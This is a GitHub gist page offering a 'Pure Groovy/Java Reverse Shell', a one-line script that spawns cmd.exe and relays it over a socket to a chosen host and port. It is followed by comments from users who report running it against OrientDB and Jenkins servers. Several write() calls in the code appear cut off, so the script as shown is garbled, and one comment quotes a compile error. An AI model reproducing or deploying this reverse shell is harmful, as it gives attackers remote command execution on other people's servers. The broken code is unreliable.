Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copy link

muttiopenbts commented May 1, 2017

Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

Copy link

Reelix commented Feb 8, 2018

Works well - Thanks :)

Copy link

d3w201 commented Mar 2, 2018


Copy link

patrickhener commented Apr 4, 2018

Very Nice!

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Copy link

zinzloun commented Jun 4, 2020

Well done!

Copy link

cyb3r-n3rd commented Sep 16, 2020

Thanks Man

Copy link

elnazkm commented Feb 3, 2021

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

Copy link

debiantano commented Feb 23, 2021

buenisima si señor :)

Copy link

SagarJana commented Mar 28, 2021

thank you sir.

Copy link

D0p3B34t5 commented Feb 12, 2022

Very nice, thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment